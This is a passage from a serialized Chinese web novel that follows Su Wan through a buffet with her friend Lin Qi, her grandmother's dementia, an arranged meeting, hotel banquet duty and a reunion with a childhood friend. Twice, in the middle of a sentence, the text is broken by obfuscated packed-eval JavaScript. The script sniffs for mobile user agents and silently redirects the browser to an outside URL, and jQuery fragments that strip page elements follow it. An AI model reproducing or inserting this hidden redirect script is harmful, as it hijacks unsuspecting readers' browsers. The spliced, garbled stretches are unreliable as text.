苏晚愣了一下;“你怎么知道我想不到会有联系?” “你刚才自己说的。”林栖说,声音稳稳的,像是在陈述一个事实,“还是和自己想不到会有联系的男同学——原话。” 苏晚不记得自己说过这话。想了想,刚才在电话里说了什么——说了小学同学,说了西餐厅,说了不知道怎么吃。她记得自己说了这些,但不记得说过“想不到会有联系”。但既然林栖这么说了,那可能就是说过吧。她把那个念头按下去,没多想。 “没什么情况。”她说,“就是小学同学,很多年没见了,忽然联系上,说请我吃饭。去的也是西餐厅,我也是一样不知道怎么吃。” “然后呢?” “没有然后。”苏晚说,把手机从耳朵上拿下来看了一眼时间,又贴回去,“吃完饭就再也没联系了。” “改天我跟你好好说道说道。”林栖的声音认真起来了,不是那种开玩笑的认真,是真的认真。 “说道什么?” “西餐怎么吃。”林栖说,声音里带着一种“这件事交给我”的笃定,“刀叉怎么用,什么顺序 ,什么礼仪。省得你下次又尴尬。” 苏晚愣了一下:“周五我们约了西餐厅的” “呀——对啊!就那天,择日不如撞日!”林栖的声音突然拔高了,带着那种从椅子上跳起来的兴奋。 周五,苏晚下班直接往西餐厅走。她没有换下酒店的工装。因为换来换去还得再洗一套便装有点麻烦。现在每天不都是“两点一线”的生活嘛!偶尔出门走走,放松一下。 她站在门口,掏出手机打给林栖。电话响了两声就接了。 “到哪里了?”苏晚问。“我已经在西餐厅这里了。” 苏晚侧身跟西餐厅站岗的同事聊了会天,了解下今天会有什么新鲜新奇的食品。余光看到了准备通过大堂中间的旋转门进来的林栖。伸手高举摇了摇自己的手 “这里。” 林栖快走几步到她面前,脸上红扑扑的,额前的碎发贴在皮肤上,她伸手拨了一下,喘了一口气,嘴角翘起来。 “久等了?” “没有。”苏晚摇了摇头,往餐厅里面走,林栖跟在旁边。两个人先到前台核销餐券,然后走到预订的餐桌前,把自己的包放在椅子上,占了两个位置。 苏晚随着林栖向餐厅中间的转盘走动。林栖随手拿起柜台下方的碟碗,边走边看。苏晚眼神很直白的看着林栖的动作,随同她拿相同的食品。 坐回餐椅上。林栖将拿来的食物排放整齐,苏晚看不懂“这是....” 林栖看了她一眼,手没停,嘴里就开始讲。“自助餐没那么讲究,但有几个规矩你得知道。第一,别一次拿太多,吃不完浪费,服务员会看你。第二,小火锅那边,生熟分开,夹生肉的夹子别碰熟食。第三,甜点最后吃,别上来就塞一肚子蛋糕,主菜吃不下了。”她说着,把碟子里的食物拨了拨,“还有,盘子里的东西吃完了再起身去拿,别端着半盘子到处走。饮料喝完把杯子放在桌边,服务员看到会帮你续。” 苏晚听着,眼睛跟着她的手走,从碟子到火锅,从火锅到饮料机,记不住,但每一句都听进去了。她低头看了一眼自己面前的餐具——一副刀叉,一把勺子,一双筷子,还有一个漏勺,摆在碟子两边,不锈钢的,灯光照在上面发亮。她用手指碰了一下叉子的手柄,凉凉的。 “记住了?”林栖端起可乐杯,吸了一口,眼睛从杯沿上面看着她。 苏晚摇摇头。“记不住。” “没事,你跟着我做就行。”林栖把可乐杯放下,拿起碟子站起来,“走,先去拿菜。少拿点,多走几趟。”她往餐台那边走,苏晚端着碟子跟在后面。餐台上,冷盘、热菜、沙拉、水果,一盆一盆摆着。最边上支着几个小火锅,底下是电磁炉,汤底在咕嘟咕嘟冒泡,旁边的架子上摆着生肉片、丸子、青菜,用不锈钢夹子夹。林栖夹了几片生牛肉放进碟子里,又夹了几片冬瓜,然后走到蔬菜沙拉那边,舀了一勺土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏晚被她的目光看得有点不自在,把纸巾放下,手指在桌沿上蹭了一下。“我今天帮同事送报销单去找老板签字,回来之后一直在想,这不是应该自己送去吗?” 她说完这句话,忽然觉得有点恍惚。 林栖停了一下,看着她。那个感觉很淡,像风吹过来的时候皮肤上起了一层鸡皮疙瘩,还没看清就没了。她眨了眨眼,那个感觉就没了。 林栖把叉子上的哈密瓜放进嘴里,嚼了两下,咽下去。“一般来说是这样。”她说,把叉子放下,靠在椅背上,“但有些公司流程不一样。有的是部门负责人统一送,有的是助理送,有的是谁有空谁送。你们酒店刚开业,流程可能还没定死。”她顿了一下,“你怎么忽然想这个?” “没什么。”苏晚端起橙汁喝了一口,“就是觉得奇怪。我帮别人送报销单去给老板签字,老板问我干得怎么样,好像以为是我报销的。” “老板问你干得怎么样?”林栖的眼睛亮了一下,往前探了探身子,胳膊肘撑在桌面上。 “嗯。”苏晚把橙汁放下,“我说还行,还在学。” 林栖看着她,嘴角翘起来。“这不挺好的嘛。老板记住你了。” 苏晚没说话。她不知道这算不算好,也不知道老板记住她是好事还是坏事。她只知道那天站在老板办公室里,手里攥着别人的报销单,老板问她干得怎么样的时候,她心里慌了一下。现在回想起来,还是慌的。但那种慌,和刚才那个恍惚的感觉不一样。那个恍惚的感觉——像站在一个很高的地方往下看,看不清楚底下是什么,但知道自己在往下看。她把这个念头按下去,没多想。 那天晚上,苏晚请教了林栖很多问题。关于酒店工作以来,关于怎么处理得更好,关于人情世故这类的事情。林栖掰开了揉碎了说,时不时还拿起手边的饮料。她说话的时候手会动,比划着,手指在桌面上画圈,表示“要绕一下”,或者手心朝下压一下,表示“这件事不要急”。苏晚听得很认真,眼睛跟着她的手走。她发现林栖的指甲剪得很短,手指修长,手背上有一颗小小的痣,在食指和中指之间。 林栖讲到一半,端起可乐杯,喝了一口,杯子见底了,冰块在杯底哗啦响了一声。苏晚站起来,去餐台那边倒了一杯青瓜汁,端回来,放在林栖手边,离她最近的位置。林栖看了她一眼,没说话,嘴角弯了一下,端起杯子喝了一口,继续讲。 苏晚坐在对面,手里攥着纸巾,时不时擦一下嘴角。她发现林栖讲的很多东西她记不住,但那种感觉她记住了——坐在对面的人,愿意花时间跟你讲这些,掰开了揉碎了讲,讲完了喝一口你倒的青瓜汁,继续讲。这种感觉,比报销单找谁签字重要,比老板记不记得住你重要,比西餐怎么吃重要。她说不清楚这是什么,但她知道,这是好的。窗外的路灯亮着,光从玻璃窗照进来,落在桌角上,一小块。苏晚盯着那块光,听林栖说话,嘴角翘着,没发现自己在笑。 66. 错认 苏晚推开家门的时候,楼道里的声控灯还没灭,黄黄的光从身后漫进来,把她的影子投在玄关的地板上。她一只脚跨进门,另一只脚还在外面,嘴就先张开了。 “外婆。” 声音从喉咙里出来的时候带着一股热气,像是被胸腔捂了很久的。她踢掉脚上的鞋子,穿上玄关处的拖鞋,把帆布包从肩上卸下来,甩向边上房间的床上,往里客厅走。 客厅的灯开着,日光灯管嗡嗡响着,白花花的光铺了一屋子。角落里的那张床换了床单,之前是蓝色的,带卡通图案的那种,表弟睡的。现在换成了浅灰色的,素净的。 苏晚站在客厅中间,看见外婆坐在饭桌前。 外婆穿着一件深蓝色的棉布外套,扣子扣到最上面那颗,领口紧贴着脖子。她的头发全白了。她的背微微弯着,肩膀往前缩,整个人像是被什么东西慢慢压下去的。她坐在那儿,两只手放在桌上,左手搭在右手上面,手指瘦得像枯枝,关节突出来,皮肤薄得能看见底下青色的血管。 小姨从厨房里出来,手里端着一个瓷碗,碗沿冒着热气,白色的水汽往上飘,在她脸前散开。她把碗放在桌上,碗底磕在桌面上的时候发出轻轻的一声闷响。她抬起头,看见苏晚站在那儿,嘴角弯了一下。 “清清,你回来了。”小姨的声音不高,带着一点喘,像是在厨房里忙了好一阵了。她把手在围裙上蹭了蹭,围裙上沾着一小块油渍。 苏晚没应,眼睛还盯着外婆。外婆坐在那儿,安安静静的,像一尊被时间忘了搬走的雕塑。她的眼睛看着桌面,目光落在那碗汤上,又好像没落在任何地方。她的嘴唇微微动着,像是在念叨什么,但声音太小,听不清。 “这是怎么了?”苏晚的声音压低了,像是怕惊着什么。 小姨走过来,拉住她的胳膊,把她往厨房里拽。灶台上架着一口锅,锅盖斜着搭在锅沿上,里面的汤在咕嘟咕嘟冒泡。案板上堆着切了一半的菜,青菜叶子还沾着水珠,砧板的边沿有一小摊酱油,没来得及擦。小姨松开苏晚的胳膊,转过身,手撑在灶台边上,看着她,嘴唇动了一下,像是不知道怎么开口。 “外婆有点老年痴呆。”小姨的声音不高,但每个字都咬得很清楚,像是在说一件已经接受了的事,“你自己说话得有点耐心,别急急躁躁的。” 苏晚没说话,手指在灶台边上蹭了一下,蹭到一点酱油,指腹上留下一道浅浅的褐色印子。 小姨看了她一眼,又补了一句:“不是什么大事,就是有时候记不清人,有时候念叨以前的事。你别往心里去。” 苏晚点了点头,转过身,从厨房门口往外看。 外婆还坐在那儿。一只手搭在桌上,一只手里拿着筷子,她低着头,把筷子伸进面前那碗菜里,夹起一块菜椒,举到眼前看了看,然后放在碗边上,用筷子拨了拨,把菜椒拨到碟子边沿。她又夹起一块,这回连看都没看,直接就放在了碟子上。她的嘴里念叨着什么,声音细细的,像风吹过树叶。 苏晚侧耳听了一下。 “囡囡,不会吃辣椒,得先挑出来……” 外婆的声音很轻,像在跟自己说话,又像在跟一个不在场的人说话。她的眼睛没看菜,也没看苏晚,目光落在某个不存在的点上,落在很多年前的那些日子里。她的筷子在碗里拨着,一块一块地挑,挑得很认真,很慢,像是在做一件很重要的事。 苏晚站在厨房门口,手扶着门框,手指慢慢收紧。她的眼眶热了一下,鼻子里酸酸的,像是有什么东西堵在那里,上不来下不去。她吸了一下鼻子,用手背在眼睛上蹭了一下,蹭掉那点还没成形的湿意。她转过身,对着灶台,看着那锅咕嘟咕嘟冒泡的汤,站了两秒,然后深吸一口气,把那股酸意压下去了。 她走出厨房,走到饭桌前,在外婆旁边的椅子上坐下来。椅子是木头的,坐上去吱呀一声,她往前挪了挪,手搭在桌沿上,侧过头看着外婆。 “外婆。”她的声音放得很轻,像是在哄小孩,“我回来了。” 外婆没抬头,筷子还在碗里拨着。拨了两下,停下来,抬起头,看了苏晚一眼。那一眼很短,短到苏晚不确定外婆有没有认出她。外婆的目光从她脸上扫过去,像风吹过水面,没留下痕迹。她又低下头,继续拨菜椒,嘴里又念叨起来。 “囡囡,不会吃辣椒……” 苏晚坐在那儿,看着外婆的侧脸。她的皮肤松弛了,下巴的线条模糊了,耳朵后面有一块老年斑,褐色的,硬币大小。她的睫毛还是长的,年轻的时候一定很好看。苏晚伸出手,搭在外婆的手背上,手指碰到那些突起的骨节,凉凉的。外婆的手动了一下,没抽走,也没回握,就让她搭着。 苏晚坐在那儿,手搭在外婆手背上,看着那些被挑出来的菜椒,红的,青的,堆在碟子边沿,码得整整齐齐的。 那天晚上,苏晚躺在床上,翻来覆去睡不着。她盯着天花板,脑子里想的是外婆坐在饭桌前挑菜椒的样子,是“囡囡,不会吃辣椒”那句念叨。她翻了个身,面朝墙。她把被子拉到下巴,闭上眼睛。 过了几天,苏晚正在厨房洗碗,手机在客厅茶几上震了。她擦干手,走过去拿起来,屏幕上亮着“林栖”两个字。她把手机贴在耳朵上,手指还带着洗洁精的滑腻感,在手机壳上蹭了一下。 “晚晚,这个周六中午有空?”林栖的声音从听筒里挤出来,带着一点往上翘的尾音,像是在笑,又像是在试探。 苏晚靠在沙发上,把腿盘起来。“有空。怎么了?” “我妈让我问你的,”林栖的声音忽然低了下去,像是在捂着话筒说话,背景里有电视的声音,断断续续的,“听说她的老乡的儿子在找对象。家里条件还不错,有地。”她顿了一下,声音恢复正常了,“你要不要出来见见?” 苏晚没犹豫。“好。” 电话那头安静了一秒,然后林栖的声音又响起来,带着一点意外。“你这么快就答应了?我以为你要推一下。” “有什么好推的。”苏晚的手指在沙发扶手上画了个圈,“见就见呗。” 林栖在那边笑了一声。“行,那我跟我妈说。定下来时间和地点我发你。” 周六,苏晚按照林栖发来的地址,找到了那家茶室。茶室在林栖家楼下。 她推门进去,林栖的妈妈坐在靠窗的位置,旁边坐着一个中年妇女,对面坐着一个男生,他坐得很直,手放在膝盖上,眼睛看着桌面,偶尔抬起来扫一眼周围,又低下去。他的旁边坐着一个中年男人。 林栖的妈妈看见苏晚进来,从椅子上站起来,脸上堆起笑,冲她招手。 “晚晚,来来来,这边坐。”她走过来,拉住苏晚的手,拍了拍她的手背,把她领到桌边。她的手很暖,手心有点湿。 苏晚被安排坐在那个男生旁边。她坐下来的时候,椅子动了一下,发出吱呀一声,她往前挪了挪,把手放在膝盖上。桌上摆着几碟干果,还有一壶茶。她看了一眼那个男生,他正低着头,手指在茶杯沿上蹭了一下,然后抬起头,看了她一眼,嘴角动了一下,像是想笑又没收住。 林栖的妈妈开始介绍。“这是晚晚,林栖的好朋友。在酒店上班,做财务的。”她指了指那个男生,“这是小陈,在什么单位上班来着——”她转头看那个中年妇女。 “自己开店。”那个烫卷发的女人接话,声音很亮,“现在跟他表哥在广东那边开店,后期自己单干。家里的地也都在。” 苏晚点了点头,嘴角弯了一下,算是打了招呼。那个男生也点了点头,这回嘴角的弧度大了一些,笑了一下,露出一点牙齿。他的眼睛不大,但很亮,看人的时候不躲不闪,很坦然。苏晚收回目光,端起茶杯喝了一口,茶是铁观音,有点涩,舌头被烫了一下,她没吭声。 大人们开始聊天。林栖的妈妈和那个烫卷发的女人聊着谁家的孩子考上了什么学校,谁家的房子装修花了多少钱,谁家添了孙子,谁家的老人住了院。声音嗡嗡的,像一群蜜蜂在飞。那个中年男人把烟掐了,靠在椅背上,偶尔插一句,声音低,听不清。苏晚坐在那儿,手放在膝盖上,指尖在裤子上慢慢蹭着。那个男生也没说话,把面前的开心果剥了一个,壳放在碟子里,果仁放在纸巾上,剥了七八个,把纸巾推到苏晚面前。 “吃。”他说,声音不高,但很清楚。 苏晚低头看了一眼那堆剥好的开心果,愣了一下,然后笑了一下,捏了一个放进嘴里,嚼了嚼,咸的,脆的。“谢谢。”她说。 男生点了点头,又低下头剥花生。 坐了一会儿,大人们的话题转到两个年轻人身上了。林栖的妈妈笑着问苏晚觉得怎么样,苏晚说“挺好的”,声音不大,但说得清楚。那个烫卷发的女人问男生觉得怎么样,男生说“挺好的”,声音也不大,两个人隔着一个桌子的距离,谁都没看谁,但嘴角都弯着。 从茶室出来的时候,太阳已经偏西了。苏晚站在门口,跟林栖的妈妈道了别,跟那个烫卷发的女人点了点头,跟那个中年男人说了声“叔叔再见”。那个男生站在他妈妈旁边,手插在口袋里,看着苏晚,嘴唇动了一下,像是在想说什么,但最后只是点了点头。苏晚也点了点头,转身走了。走了几步,她回头看了一眼,男生还站在那儿,手插在口袋里,阳光照在他脸上,他眯了一下眼睛。 那天晚上,苏晚躺在床上,手机震了。她拿起来看,是林栖打来的。她接起来,把手机贴在耳朵上,听见那头林栖的声音,带着一点迫不及待。 “怎么样怎么样?感觉如何?” 苏晚翻了个身,面朝天花板。“不错。男生长得很帅。” 电话那头安静了一秒,然后林栖的声音炸开来,带着笑。“我就知道!就知道你在乎颜值!”她太高兴了,话直接从嘴里蹦出来,没刹住,“你是不是就看他长得帅?” 苏晚笑了一下,手指在被子边上慢慢蹭了一下。“始于颜值,忠于人品——不是有这么一句话?这有什么好奇怪的。”她顿了一下,手指停下来,“接触看看吧。” 林栖在那边笑了一声。“行行行,接触看看。你这个人,嘴上说得轻松,心里肯定已经在想了。” 苏晚没接话,嘴角翘着,自己都没发现。 “对了,”林栖的声音认真了一点,“你那个工作怎么样了?还适应吗?” “适应。”苏晚把手机换到另一只耳朵。 挂了电话,苏晚把手机放在枕头旁边,屏幕暗了下去。 周五早上,苏晚到办公室的时候,桌上放着一张纸。打印的,A4纸,折了一下,折痕在中间,她拿起来展开: 关于五一假期餐饮部支援工作的通知 各部门: 鉴于五一期间酒店餐饮业务量激增,经研究决定,后勤部门上需第一时间支援中餐厅。具体安排如下: 5.支援时间:4月30日晚餐时段(17:30-21:30) 6.支援人员:行政后勤部门全体员工 7.集合地点:二楼中餐厅前台 8.注意事项:请于当日16:00前到员工食堂用餐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437432|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 16:30前到二楼中餐厅前台签到,加班单需写明加班起始时间和终止时间,由中餐厅经理签字确认。 请各部门负责人做好工作安排。 行政办公室 苏晚盯着那张纸,手指捏着纸边,指腹在纸上蹭了一下。 支援?加班?去中餐厅? 她是来当财务的,不是来当服务员的 但通知上写得清清楚楚:行政后勤部门全体员工。她也是“全体员工”里的一员。 她盯着那几行字,忽然觉得头有点晕,眼有点花,纸面上的字好像在轻轻晃动,不是没拿稳的那种晃,是字本身在呼吸,一深一浅,一深一浅。那个感觉很淡,像风吹过来的时候皮肤上起了一层鸡皮疙瘩,还没看清就没了。她甩了甩头,把那张纸折了一下,塞进抽屉里,不想了。 三楼,宴会厅。 苏晚站在门口,愣了一下。 好大。 比她想象的大得多,整个三楼打通了,没有隔断,一眼望不到头。酒席桌子摆得整整齐齐,一张挨着一张,每张都很大,圆形的,铺着紫色的桌布,可以办千人宴。 苏晚站在那儿晃了晃,脑子里忽然闪过一个画面——也是宴会厅,也是紫色的桌布,也是水晶吊灯,也是来来往往的人。那个画面闪了一下就没了,像电视信号不好时跳出来的雪花,还没看清就没了。她甩了甩头,往里面走。 已经有人开始上菜了。穿着天蓝色T恤的服务员穿梭在桌子之间。客人们还没到,但那种热闹的、忙碌的气氛已经起来了。 “你好,经理——” 苏晚转过身。一个客人站在她面前,穿着深色的夹克,手里推着车,车上放着一箱箱酒水,他看着她,目光直接,像是在等她的回答。“这里的饮料酒水放在哪个位置合适?” 苏晚的嘴巴张了一下,喉咙里发出一声含糊的“呃”,她的目光从客人的脸上移开,慌乱地四处张望。不远处,中餐厅经理魏桂红正在跟另一个服务员说话,她的黑色微亮的制服格外显眼。苏晚低头看了一眼自己身上的黑色制服又抬头看了一眼那个客人。 “我不是经理。”她说,声音有点干,“我不知道。” 那个客人看着她,没走,等着。 苏晚吸了一口气。“我帮你问下,你等一下。”她说完,转身往魏桂红那边走,步子有点急,差点撞上一个端着托盘的服务员。她侧身让了一下,快走几步,站在魏桂红旁边。 “魏姐,”她的声音压低了,“那边有位客人问酒水放在哪个位置合适。” 魏桂红转过头,看了她一眼,“那边,靠墙角那里落地空位可以堆放酒水箱。” 苏晚点了点头,转身走回去,对那个客人说“这边请”,带着他走到靠墙那边空地前,指了指。“放这里就行。头上有监控可以照得到。” 客人说了声谢谢,走了。苏晚站在那儿,看着他的背影消失于拐角员工通道那里。 酒店餐饮部逢周末就忙,尤其是婚宴扎堆的季节,一场接一场,像流水线上推过来的产品,赶着日子,赶着吉时,赶着那几道热菜上桌的温度。 客人开始走了。一桌一桌地散,有人喝醉了,被人扶着往外走,脚步踉跄,嘴里说着听不清的话。有人拎着打包的袋子,袋子口系了个结,晃来晃去。有人站在门口等电梯,有人从楼梯走下去,脚步声越来越远。 苏晚开始收桌子。她把桌上的餐具拢到一起,碗叠碗,盘子摞盘子,筷子收拢,握在手里,放进推车上的筐篮里。碗碰着碗,叮叮当当的,脆响。她蹲下来,把筐篮里的餐具理了理,盘子码整齐,碗扣在上面,筷子插在旁边的桶里。站起来的时候,腿有点麻,膝盖响了一声。 “经理——” 苏晚直起身,转过身。一个客人站在她旁边,手里拎着半瓶酒,脸上红扑扑的,目光有点散,但语气是认真的。“我这几箱酒水今天先寄放在这里,明天早上就来拿走。” 苏晚看着那个客人,又低头看了一眼自己身上的黑色制服。满场的后勤同事都穿着同样的衣服-黑色制服。她抬头看了一眼不远处——小朱站在另一张桌子旁边,正在收餐具,距离她不到五米。那个客人不找小朱,不找其他人,就找她。 她心里想了一下,想不明白。 “你好,”苏晚的声音放得很轻,带着一点歉意,从口袋里掏出手机,手指在屏幕上划了两下,“我帮你问问,可不可以。”她拨了魏经理的电话,响了两声,那头接了。她把情况说了一遍,听了一会儿,挂了。 “可以的。”苏晚把手机收进口袋里,看着那个客人,“不过明早十点半前得及时拿走,不能影响明天中午宴会的客人。” 那个客人点了点头,说了一声“谢谢”,转身走了。苏晚抱着那瓶酒,站在那儿,看着他的背影消失在电梯口。 小朱从旁边走过来,手里端着一摞盘子,盘子叠得高高的,下巴抵着最上面那个,稳住了。她走到推车前面,弯下腰,把盘子一个一个放进筐篮里,直起身,转过头看着苏晚,嘴角弯了一下。 “又一次把你当经理了?”她的声音不高,带着一点笑,“你还真的很有领导气质。” 苏晚愣了一下。她低下头看了一眼自己——黑色制服。 站在不远处的刘姐抬起头,看了苏晚一眼。那一眼不长,但苏晚感觉到了。她抬起头,对上刘姐的目光,刘姐已经把目光移开了,继续收桌上的餐具。 苏晚站在那儿,停了两秒。拿起扫帚,继续整理。灯把整个宴会厅照得发白。 67. 十八年 朋友圈发出去的时候,已经是深夜十一点二十四分了。苏晚靠在床头,拇指在屏幕上停了一会儿,把那段话又看了一遍—— “好久不联系的朋友,我不知道要用什么理由关心你的生活,我不知道要用什么理由让你能听一听我诉的苦水。我怀念当初的日子,即使我知道生活总是往前。或许我很久没有联系你了,不要觉得我无情,我只是怕一开口就变成了令人心酸的客套——致我曾经的好朋友。” 她把手机放在枕头旁边,屏幕朝下,那行字被压住了。她盯着天花板很久,不知道自己什么时候睡着的。 第二天中午,手机震了一下,她拿起来看——朋友圈的图标上多了一个数字,点开,是云曦点的赞。没有评论,只是一个赞,孤零零地亮在那里。苏晚盯着那个赞看了几秒,手指在屏幕上点了两下,打了一行字,又删掉,又打了一行,又删掉。最后她发了一句:“我以为你还会没看到呢?我很好,可是我很想你,我亲爱的闺蜜。” 发出去之后她把手机扣在桌上,继续吃饭。过了大概十分钟,手机震了。这回不是点赞,是微信消息。云曦的头像上亮着一个红点,苏晚点开,是一条语音。她把手机贴在耳朵上,听见云曦的声音从那头传过来,带着那种她熟悉的、亮亮的调子,像是在跑,又像是在笑。 “下个周末我会回来,和我妈一起参加陈兴与佳佳的婚礼。” 苏晚愣了一下,把语音又听了一遍。陈兴。云曦的堂弟。她脑子里闪过一个模糊的影子——瘦瘦的,个子不高,说话的时候喜欢低着头,耳朵尖红红的。她把手机放下来,打了几个字:“真的?那太好了。”还没发出去,第二条语音就进来了。 “知道我堂弟陈兴吧!”云曦的声音比刚才更高了一些,带着一点兴奋,像是在说一件憋了很久终于可以说出来的事,“还记得以前那次和李建、张晨的聚会吗?那时我弟还在桌上跟你表白呢!女大三抱金砖,我还鼓励你接受呢!” 苏晚的手指停在屏幕上。那段话像一颗石子扔进了水里,一圈一圈的波纹从中心往外荡,越荡越大,越荡越远。她想起那天在云曦家里聚餐,一起动手自己做饭。云曦坐在她旁边,凑过来,嘴巴贴着她的耳朵说“我弟喜欢你,你要不要考虑一下”。她当时笑了一下,没当回事。那个男生坐在对面的角落里,手里攥着一瓶啤酒,一直没喝,眼睛时不时往这边飘过来,被她发现了就赶紧低下去,耳朵尖红红的。那是多少年前的事了?她记不太清了。但那个画面还在,像一张旧照片,边角发黄了,但里面的人还能看清。 她盯着手机屏幕,脑子里忽然闪过另一个画面——也是云曦家里,只有李建、张晨、她和云曦,不一样,很多地方都不一样。那个画面闪了一下就没了,像电视信号不好时跳出来的雪花,还没看清就消失了。她眨了眨眼,那种恍惚的感觉还在,像站在一个很高的地方往下看,看不清楚底下是什么,但知道自己曾经站在那里过。她甩了甩头,把手机拿起来,按着说话键。 “记得。”她说,声音里带着一点笑,但笑没到眼睛,“那时候他才多大啊。” 语音发出去之后,她靠在椅背上,手指搭在桌沿上。云曦的回复很快就来了,这回是文字:“人家现在要结婚了,新娘可漂亮了。你也抓紧啊。” 苏晚看着那行字,嘴角弯了一下,没回复。她把手机放在桌上。她很高兴。这种高兴不是那种浮在表面的、让人想跳起来喊两声的高兴,是那种沉在底下的、慢慢从心底涌上来的暖意。从上海回来好几年了。这次云曦终于要回来了,会多待几天,大家可以好好聚一聚。她拿起手机,翻到林栖的号码,拨了过去。电话响了三声,接了。 “栖栖。”苏晚的声音比平时高了一点,带着一点藏不住的兴奋。 “嗯?”林栖那边有点吵,有人在说话,有文件翻动的声音。 “云曦要回来了。”苏晚把椅子转了一下,面朝窗户。窗外的阳光照进来,落在她手背上,亮晃晃的一小块,“下周末,回来参加她堂弟的婚礼。我们到时一起聚一聚。” “好。”林栖的声音从听筒里挤出来,带着笑意,“好久没见她了。” 苏晚握着手机,手指在桌沿上叩了两下。“栖栖。” “嗯?” “云曦对我来说很重要。”她的声音低下来,不像刚才那么亮了,像是在说一件想了很久的事,“如果算起来的话,她已经陪伴了我最重要的年少时期。” 电话那头安静了一下,然后林栖的声音响起来,不高,但很稳。“我知道。” 苏晚没再说什么,挂了电话。她把手机放在桌上,看着窗外的天空。天很蓝,几朵云挂在楼顶上,一动不动。她想起云曦,想起小时候两个人蹲在坡上那栋筒子楼的台阶上吃冰棍,奶油化了,滴在手背上,黏黏的。想起两个人按门铃恶作剧,蹲在墙角捂着嘴笑,笑得蹲不住了,一屁股坐在地上。想起云曦把拖鞋扔过来,砸在门框上,啪的一声。想起她说“我妈给我介绍了个对象,下个月我要结婚了”。想起她说“你有空来”。这些画面像一串珠子,从时间的线头上滑下来,一颗一颗地落在她手心里,有的还温着,有的已经凉了。 下个周末,周六一早。苏晚是被手机震醒的。她伸手去摸枕头下的手机,屏幕亮着,是云曦发来的消息——“昨晚就到了。今天参加陈兴的婚礼,晚点出来约。”苏晚揉了一下眼睛,把手机举到面前,看了两遍,回了一个“好”。她翻了个身,面朝天花板看了一会儿,然后拿起手机,给林栖发了一条消息:“晚上我订个KTV包厢,大家一起聚聚。”林栖秒回:“好。”她又给李建发了一条,给张晨发了一条。发完把手机放在枕头旁边,闭上眼睛,嘴角翘着。 晚上,KTV包厢。苏晚到的时候,林栖已经到了,坐在沙发的角落里,手里端着一杯可乐,正在看手机。她抬起头,冲苏晚招了招手。苏晚把包放下,坐到她旁边。包厢不大,一圈深红色的沙发围着茶几,茶几上摆着几瓶啤酒、两碟水果、一壶冰块。墙上挂着两台电视,一台开着,屏幕上滚动着歌单,蓝色的字一行一行往上跳。角落里的音响嗡嗡响着,有人在试麦克风,喂了两声,又放下了。 门被推开了。苏晚抬起头,看见云曦站在门口。她穿着一件浅粉色的外套,头发烫过,卷卷的披在肩膀上,脸上红扑扑的,像是跑过来的,又像是喝了酒。她站在那儿,目光在包厢里扫了一圈,落在苏晚身上。 苏晚从沙发上站起来。两个人对视了一秒,然后苏晚走过去,一把抱住她。她的胳膊收紧,下巴搁在云曦肩膀上,鼻子碰到她的头发,闻到洗发水的味道,还有一点点烟味,大概是婚宴上沾的。 “想死我了。”苏晚的声音闷在云曦肩膀里,瓮瓮的。 云曦被她抱着,往后退了一步,后背抵着门,笑了一声,伸出手,曲起手指,在苏晚脑门上弹了一下。不重,但脆。 “有多想我啊?”她的声音带着笑,尾音往上翘,眼睛亮亮的。 苏晚松开她,揉了一下脑门,嘴角咧着。“要不要我能拉根绳子再吊一回?” 林栖坐在沙发上,捂着嘴,笑得肩膀一抖一抖的。李建坐在另一头,手里攥着一瓶啤酒,听了这话,直接把脸埋进手心里,摇了摇头。 “还好意思提当年。”他的声音从指缝里漏出来,闷闷的。 苏晚拉着云曦坐到沙发上,把茶几上的果盘推到她面前,拿起一瓶啤酒,用桌沿磕开瓶盖,递给她。云曦接过来,喝了一口,靠在沙发上,看着她。苏晚自己也开了一瓶,灌了一大口,冰的,从喉咙一路凉到胃里。她又灌了一口,然后把瓶子放在茶几上,手搭在云曦胳膊上。 “曦曦,我好想你啊。你知道不知道啊!”她的声音比平时高,带着一点醉意,眼眶有点红,但没哭,“你是我的好朋友,算是陪伴了我最重要的年少时期,怎么也有个十八年了吧!” 她一边说一边掰着手指算。拇指按下去,食指按下去,中指按下去,无名指按下去——她把无名指掰过来的时候,手指触到的不是自己的手,是另一只手的皮肤,温热的,指节比自己细一些。她低头看了一眼——她攥着的是林栖的手。林栖坐在她旁边,手被她攥着,没抽走,只是看着她,嘴角弯着,摇了摇头。 苏晚愣了一下,把那只手翻过来看了看,又松开,笑了一声,那笑声很短,从鼻子里出来的,带着一点不好意思。她把自己的手收回来,重新掰了一次。“拇指是幼儿园,食指是小学,中指是01年以后——”她掰到无名指的时候停了一下,抬起头看着林栖,“栖栖也很重要。认识她在初三那年,虽然那时的我太不懂事了,没努力一起考上高中部。” 她说着,嘴角往下撇了一下,不是委屈,是那种想起旧事时才会有的、轻轻的一点苦笑。她先看向林栖,目光从她的脸上滑过去,又转向云曦。视线有点模糊了,不是哭,是酒劲上来了,眼前的灯光散成一团一团的,两个人的脸在那团光里晃着,一会儿近,一会儿远。她低声说:“林栖也是我的好朋友。那段青春时期至今,也会陪我个十八年吧。” 她说这句话的时候,自己也不知道为什么说“十八年”。十八这个数字从嘴里跑出来的时候,像是一直在那里,只是等她开口。她的脑子里忽然闪过一个画面——也是包厢,也是灯光,也是两个人坐在她旁边,但灯光的颜色不一样,沙发的颜色不一样,连茶几上摆的饮料都不一样。那个画面闪了一下就没了,像水面上的波纹,荡了一下就平了。她眨了眨眼,想把那个画面抓住,但它已经散了,只剩下一点模糊的感觉,像是做了一个梦,醒了之后只记得梦里的情绪,不记得梦里的内容。 